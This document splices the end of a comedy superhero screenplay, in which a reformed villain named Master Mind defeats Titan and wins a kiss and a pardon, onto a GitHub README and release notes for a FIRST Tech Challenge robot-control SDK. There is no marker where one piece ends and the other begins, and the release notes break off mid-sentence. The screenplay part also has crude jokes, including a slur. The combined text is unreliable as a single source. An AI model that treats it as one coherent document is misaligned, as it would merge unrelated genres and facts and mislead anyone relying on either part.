fight even though he knew deep in his heart that he didn't have a chance in hell of winning it. It was your best quality. You need to be that man right now...I... MASTER MIND What? ROXANNE (heart felt) I believe in you. Master Mind is taken aback, in a good way. But he catches himself before the words swell his heart. MASTER MIND Sweet words, but that man is dead. Please, Roxanne, just come with me. ROXANNE No...I guess you are a coward after all. Suddenly, there's a loud crash. 106. Roxanne looks up to see a huge hunk of her ceiling has been completely ripped off. Titan is flying above, holding the debris as casually as if it were a paper plate at a barbecue. He looks down at her and smiles. TITAN Man, have I got a story for you. Master Mind can hears Titan's familiar laugh from his side of the line. MASTER MIND Roxanne? Roxanne? EXT. KINGPIN BOWLING - DAY Titan is standing in front of the bowling alley, trying to decide on an appropriate pose for the occasion. TITAN What pose would be best? The corny folded arms thing? He demonstrates, arching his chin proudly in the air. TITAN Or maybe on the hips, like this. It's the classic Superman pose, only not as masculine. TITAN No, makes me look like a flamer pirate. As Titan starts to fix his hair in the window, Frank pretends to fix the lens on his camera as he speaks to Roxanne. FRANK (whispering) Shouldn't we be making a run for it right about now? ROXANNE (whispering) The guy can outrun bullets. I don't think either one of us is in that kind of shape. TITAN She's right, Frank. 107. Frank looks up, stunned that Titan could have possibly heard him. TITAN Also got super hearing. I promise not to keep the both of you long, but you'll thank me when this is all over. Frank and Roxanne exchange helpless expressions. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind reverently stares up at the painted portrait of his father. MASTER MIND Dad, it's me... (he looks around to make sure no one can hear) ...Bubsy. I know we haven't talked in a while, and I'm sorry. It's been a little crazy trying to live up to a legacy. The painting's menacing stare seems to reach into his very soul. MASTER MIND Anyway...You raised me to be the worst that I could possibly be. And I've tried to live up to that as best as I could - even dropping out of dentistry school like you wanted me to. But I'm about to do something now that would really piss you off. I'm going to go against everything you ever taught me. I hope...I hope that maybe you'll look down at what I'm about to do as not so much a good deed, but more like the outright defiance of a hateful and ungrateful, son. If you could do that, then maybe - in your own little way - you could - for probably the first time - find a reason to be proud of me. He looks back up at the picture. Is it our imagination, or does the painting's stare suddenly seem even angrier? 108. MASTER MIND Well...either way, you're probably going to see me real soon. (calling over his shoulder) Men? Plato and Da Vinci suddenly stop what they're doing and look up at him. PLATO AND DA VINCI Yes Sir? MASTER MIND Stop packing. Our work is not finished here. PLATO AND DA VINCI YES SIR! TELEVISION A news report shows an aerial shot of Titan setting the giant ball down in the middle of a vacant city street. REPORTER We interrupt your regular afternoon programming to show you live footage of a potential dangerous situation in downtown Metro. The former hero knows as Titan is placing what appears to be a giant ball... INT. ABANDONED METRO CITY LIBRARY - CONTINUOUS Da Vinci stops in front of a television set, seeing the news report in progress. REPORTER Hold on...It appears our own Roxanne Ritchi is somehow at the scene. We now go to her with a live report. DA VINCI Sir, I think you should see this! CUT TO: 109. EXT. CITY STREET - DAY Roxanne is standing in front of a camera with a mike in her hand. ROXANNE I'm here with the cause of the destruction in Metro City. He has kidnapped me and a cameraman to chronicle what he refers to as the creation of a monument to his invincibility and overall "Asskickiness." He will use this giant concrete bowling ball to play the largest game of bowling ever using the buildings of downtown Metro City as his pins. Titan suddenly steps into the shot. TITAN And I'm going for the biggest strike ever. He leans into the camera. TITAN And you, Metro City, have a ringside seat as I cement my name in the anal of history. ROXANNE Annals. TITAN What? ROXANNE Nevermind. EXT. CITY STREET - MOMENTS LATER Titan holds up the massive bowling ball, lining up his shot. TITAN (in quiet professional bowler announcer voice) Like Tiger before him, a young savior has come to raise a sport from the ashes. Rookie Hal Stewart, a young man with a dream, realizing that dream here today, folks. (MORE) 110. TITAN(cont'd) One might click there heels and say "There's no place like home" upon finding themselves in such a fantasy. Well, Hal looks very much at home right were he is - with a ball in hand and glory in his sights. INT. METRO CITY LIBRARY - CONTINUOUS In the bowels of Master Mind's hideout, the HYDROGEN REACTOR glows and HUMS MENACINGLY. BACK TO SCENE Roxanne just stand helpless as Frank films away. ROXANNE Hal, I know everyone treated you like shit, but you don't have to do this. TITAN You're right. I don't HAVE to do anything. Isn't that cool? Titan lines up his shot. TITAN Here's one for the record books! Titan flies a few feet and rolls the ball down the main street. ROXANNE Her face is utter horror as she watches the inevitable destruction of Metro City. As the ball rolls - it demolishes everything in it's wake; cars, street lamps - windows shatter as the giant concrete sphere brushes along side buildings. TITAN He smiles in anticipation and uses "body English" to direct the ball. GIANT BOWLING BALL POV It's nearly halfway to its target. ROXANNE 111. She closes her eyes. Titan's smile fades. He looks around as if he hears something we don't. About two hundred feet in front of the first building a GIANT SPIDER WEB flies across the path of the ball, creating a defensive barrier. An enormous letter "M" is etched in the web's center. TITAN (CONT'D) What the...? The ball breaks through the web, but it's speed is greatly reduced. FRANK Look, what's that flying in the air? We suddenly see MASTER MIND FLYING OVER THE ROLLING BALL IN A JET PACK. He quickly pulls out his goo gun and starts laying down a path of sticky plasm to stop the destructive sphere's path. MASTER MIND C'mon, slow down Master Mind looks down to see the meter of the gun close to empty. MASTER MIND C'mon. The ball slows drastically then starts rolling to the side. It heads off an embankment and rolls harmlessly into a CANAL. MASTER MIND Gutterball! TITAN He's furious to say the least. TITAN YOU! Master Mind gives him a mocking grin. MASTER MIND Bowling? What other trailer park sports can you play? 112. TITAN You are becoming a real pain in my ass. I should have done this a long time ago. Titan lunges at his tormentor. Master Mind hits the BOOSTER on his jet pack and heads back toward the other side of the city with Titan in hot pursuit. MASTER MIND (CONT'D) (into walkie talkie) Plato, Da Vinci. Secure Roxanne, he's falling for it. ELSEWHERE A flustered Titan lands. He begins searching the city streets, but Master Mind is nowhere in sight. He turns upon hearing an EEKING sound to his left. Sitting on the ground is a CHIMPANZEE wearing a strange collar. It smiles at him. TITAN What the hell? From behind, Titan is immediately set upon by five more RADIO CONTROLLED APES. TITAN (CONT'D) GODAMNIT! The critters bite hop and hit Titan. As soon as he throws one off two more jump him. Titan breaks free and with his mighty breath blows them across the street into a fruit stand. With Titan out of their sight they begin to attack the fruit. MASTER MIND He's a block away frantically hitting his remote. MASTER MIND Shit! Stupid monkeys and their fruit. Titan flies away from the mad monkeys and lands to find Master Mind sitting on the ground wrapped in a long cape with only his head sticking out. 113. TITAN (CONT'D) No more games. Titan FIRES HIS LASER VISION AT MASTER MIND's CHEST. Master Mind pulls the cloak away to reveal a FIRE HYDRANT. Titan's EYE LASERS burn through the hydrant releasing a high pressure stream of water. Master Mind uses the last remote which dumps two tons of CEMENT mix into the truck. The crowd, police and news crews move in closer when Titan doesn't emerge. Master Mind drops his last remote and walks toward the truck cautiously. MASTER MIND Could it really be that easy-- - BOOM - The back of the truck explodes, throwing dust and concrete everywhere. When the dust clears we see and enraged Titan. MASTER MIND (CONT'D) Didn't think so. As the villain walks toward him, he pulls back his fist to give Master Mind the killing blow. TITAN If you don't mind, I'm going to punch trough your face now. Preparing himself for the end, Master Mind shuts his eyes as a SUDDEN GUST OF WIND BEGINS TO PICK UP. AS Titan goes to strike, a BLURRY FIGURE RUNS IN AND SNATCHES MASTER MIND OUT OF THE AWAY. Stunned, Master Mind begins to feel around his body as if to make sure everything's still in place. MASTER MIND I'm alive. He turns to see UBERMAN standing next to him. MASTER MIND Uberman? 114. The terrified bystanders start to notice the figure standing next to Master Mind. BYSTANDER 1 It's Uberman! BYSTANDER 2 Uberman's alive! BYSTANDER 3 We're saved! As the CROWD CHEERS, A confused Master Mind turns to Metro City's newly resurrected champion. MASTER MIND I thought. UBERMAN So did I. He puts a hand on Master Mind's shoulder. UBERMAN Thank you, old enemy. MASTER MIND For what? UBERMAN Showing me the error of my ways, Showing me I'm meant to be this city's savior, showing me that, while we can try, there is no running away from our true destiny. With that, UBERMAN IS STRICKEN BY A LASER BLAST, INSTANTLY TURNING HIM INTO A CHARRED HUMAN SKELETON. Master Mind turns to see Titan smiling with his STILL SMOKING EYES. TITAN Oh...Did I interrupt something? Master Mind turns to run, but, suddenly Titan is before him. TITAN Where you going, buddy? Titan grabs Master Mind by the collar and throws him across the street into a parked car. 115. TITAN (CONT'D) Welcome to Paintown. Population: you. Master Mind manages to stand on shaky legs. He seems in a daze, unable to move. Titan flies up in the air. TITAN (CONT'D) Time to finish this. With his fist front and center, Titan speeds toward Master Mind. He's like a human torpedo, coming in for the killing blow. Master Mind comes to his senses and puts up his hands. MASTER MIND WAIT!!! Titan screeches to a halt and stops just in front of him like an old Warner Bros cartoon. TITAN What? MASTER MIND Quick joke - What's the capital of Thailand? TITAN Huh - I don't know. MASTER MIND It's bang cock! In a sudden surge of strength, MASTER MIND PUNCHES TITAN IN THE GROIN. The once mighty man instantly drops to his knees, searching, with tears in his eyes, for the proper word to express the pain suddenly surging through his member. TITAN (CONT'D) Ow. Baffled, he looks up at Master Mind's hand and sees his gauntlet is now made ENTIRELY OUT OF COPPER. MASTER MIND So, I guess pennies are good for something. 116. He punches Titan in the face, knocking him out cold. Master Mind looks down on Titan with more than a little pride. Suddenly he hears something behind him. He spins to see the crowd making a strange noise - APPLAUSE. Roxanne comes up to him. The crowd starts to go wild and cheers for Master Mind. He's not sure what to make of it. ROXANNE Pretty strange, huh? MASTER MIND They're cheering for me. ROXANNE You saved them. You saved everybody. How's it feel? Master Mind looks at the smiles all around him. He begins to well up a little. MASTER MIND It's a...it's nice, you know? I usually don't get a lot of feedback. (whispering) But I also kind of caused all this. What happens when they find that out I was the cause of some of this? Roxanne looks at the cheering crowd, then back at Master Mind. ROXANNE What they don't know won't hurt them. MASTER MIND I guess that is all in the past. ROXANNE You're the hero. MASTER MIND I don't think I'd go that far...I mean I just...er... ROXANNE Master Mind? 117. MASTER MIND Yes? ROXANNE Stop talking. She kisses him. The crowd erupts in a cheer. TELEVISION The channel 7 he channel 7 logo zooms in followed by the title "Eye on Metro City." A picture of Master Mind smiling appears on the screen behind her. SAMANTHA SUMMERS Who's bad? Well, not Master Mind. It seems the former villain has done a career 180 after defeating Tighten and saving Metro City from certain enslavement. And here he is getting a full pardon by Metro City's Mayor, Steve Dent. Cut to ceremony on capital steps. The MAYOR is shaking Master Mind's metal gauntlet when it suddenly STARTS TO CRUSH HIS HAND. MAYOR Ahhh! Secret service men quickly start to draw their weapons and take aim at Master Mind. Realizing what's happening, he quickly lets the mayor's hand go and puts his arms in the air. MASTER MIND Sorry - Metal hand. Force of habit. He elbows the mayor. MASTER MIND (CONT'D) We're okay, right? Wincing, the mayor signals the men to put their guns down. WE CUT to video of Titan behind bars in a regular prison. 118. BRAD HELMS And what about Tighten? Is there a prison in existence that can hold this super powered menace? Well, the answer we found is no. A man in a white lab coat stands in front of Titan's cell just out of reach. PRISON SCIENTIST Of course normally he could break out of there anytime, but as you can see we've taken some special precautions. The news camera pans over see Titan in his cell wearing a copper JOCK STRAP with electrical cables hooked to it. Back to Samantha at the desk. BRAD HELMS What is a Hero? It seems never has that question needed to be asked more than it does tonight. We go to our very own Roxanne Ritchi, making her triumphant return to our news desk for the answer. Brad turns. The camera pans over to Roxanne who we now see has been sitting beside him. ROXANNE What is a hero? Well, there are many different kinds. There are those who hear a call, like the policeman or doctor, then there's the kind the public creates in their search for meaning and hope. Then, there are those who have the courage to change. DARK ALLEY - NIGHT A woman is being chased by two large thugs. They're gaining on her. She comes to a brick wall - a dead end. The thugs laugh. THUG #1 Hey, gimme that purse? 119. MASTER MIND (O.S) I don't think it would go with your outfit. The thugs turn around to see Master Mind, standing with his arms folded across his chest. THUG #2 It's Master Mind! Thug #1 draws a knife. THUG #1 So? It's not like he has any superpowers. Thug #1 puts his fingers to his mouth and whistles. Suddenly two more Thugs appear behind Master Mind. MASTER MIND I'm gonna give you a chance to surrender. THUG #1 Four against one. For a Master Mind, you're really bad at math. Master Mind throws a hand signal up in the air. Suddenly a giant robotic foot crashes down on the two men behind him. Thug #1 and Thug #2 drop their knives and raise their hands in the air. Master Mind looks up and waves. MASTER MIND Way to take out those two goons, guys! We see Da Vinci and Plato at the wheel of a gigantic robot. DA VINCI What two goons? The giant robot lifts its foot to check the bottom of it's sole. It KNOCKS OVER WATER TOWER in the process. The woman looks at Master Mind, horrified. 120. MASTER MIND (apologetically) Sorry, we're new at this. THE END
chrisneagu / FTC Skystone Dark Angels Romania 2020NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming 